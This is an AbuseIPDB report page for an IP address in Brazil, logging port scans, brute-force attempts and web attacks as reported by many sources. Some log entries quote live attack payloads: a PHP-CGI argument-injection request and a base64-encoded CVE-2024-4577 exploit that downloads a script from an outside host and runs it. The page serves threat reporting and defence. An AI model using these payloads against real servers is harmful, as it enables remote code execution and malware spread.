AbuseIPDB » 138.97.13.19

138.97.13.19 was found in our database!

This IP was reported 415 times. Confidence of Abuse is 100%: ?

100%

ISP	RedeBr Telecom
Usage Type	Fixed Line ISP
ASN	AS264111
Hostname(s)	138-97-13-19.redebrtelecom.com.br
Domain Name	redebrtelecom.com.br
Country	Brazil
City	Duque de Caxias, Rio de Janeiro

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated biweekly.

Report 138.97.13.19

Whois 138.97.13.19

IP Abuse Reports for 138.97.13.19:

This IP address has been reported a total of 415 times from 153 distinct sources. 138.97.13.19 was first reported on January 22nd 2025, and the most recent report was 6 days ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp in UTC	Comment	Categories
digitallodge.cloud	2025-06-08 23:40:23 (6 days ago)	Blocked on port 14820 (TTL:121, LEN:116, TOS:0x00). Reason: UFW BLOCK IN=eth0 OUT= MAC=00:11:22:33:4 ... show moreBlocked on port 14820 (TTL:121, LEN:116, TOS:0x00). Reason: UFW BLOCK IN=eth0 OUT= MAC=00:11:22:33:44:55 SRC=138.97.13.19 DST=45.134.39.16 LEN=116 TOS=0x00 PREC=0x00 TTL=121 ID=12345 PROTO=TCP SPT=12345 DPT=14820 WINDOW=65535 RES=0x00 SYN URGP=0. Reported by DigitalLodge Security. show less	Hacking Brute-Force
Rene Hickersberger	2025-06-07 19:29:16 (1 week ago)	[2025-05-14T23:17:08Z] Malicious request to /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepen ... show more[2025-05-14T23:17:08Z] Malicious request to /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input show less	Hacking Bad Web Bot Web App Attack
Rene Hickersberger	2025-06-02 07:31:47 (1 week ago)	[2025-05-14T23:17:08Z] Malicious request to /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepen ... show more[2025-05-14T23:17:08Z] Malicious request to /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input show less	Hacking Bad Web Bot Web App Attack
rtbh.com.tr	2025-05-20 20:08:16 (3 weeks ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
BSG Webmaster	2025-05-20 07:35:12 (3 weeks ago)	Port scanning (Port 2375)	Port Scan Hacking
ThreatBook.io	2025-05-20 00:52:25 (3 weeks ago)	ThreatBook Intelligence: Zombie,Dynamic IP more details on https://threatbook.io/ip/138.97.13.19	SSH
urnilxfgbez	2025-05-19 22:45:00 (3 weeks ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
urnilxfgbez	2025-05-19 22:45:00 (3 weeks ago)	Last 24 hours Brute Force Attacks	Brute-Force
rtbh.com.tr	2025-05-19 20:08:14 (3 weeks ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
Cynar & Cinny	2025-05-19 18:44:59 (3 weeks ago)	ufw_block_log_Evil_Communist	Port Scan
Anonymous	2025-05-19 12:45:46 (3 weeks ago)	B: f2b 404 5x	Web App Attack
drewf.ink	2025-05-19 10:33:38 (3 weeks ago)	[10:33] Port scanning. Port(s) scanned: TCP/2375	Port Scan
Hulk Smash	2025-05-19 09:25:02 (3 weeks ago)	Automated report, webserver-auth troll for exploits and/or SSH Attempts	Hacking Brute-Force
VMHeaven.io	2025-05-19 08:45:38 (3 weeks ago)	Blocked by UFW [2375/tcp] Source port: 60070 TTL: 52 Packet length: 40	Port Scan
sdos.es	2025-05-19 08:21:17 (3 weeks ago)	"Remote Command Execution: Windows Command Injection - Matched Data: ; echo found within ARGS:<?php ... show more"Remote Command Execution: Windows Command Injection - Matched Data: ; echo found within ARGS:<?php shell_exec(base64_decode(\x22WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA: \x22)); echo(md5(\x22Hello CVE-2024-4577\x22)); ?>" show less	Web App Attack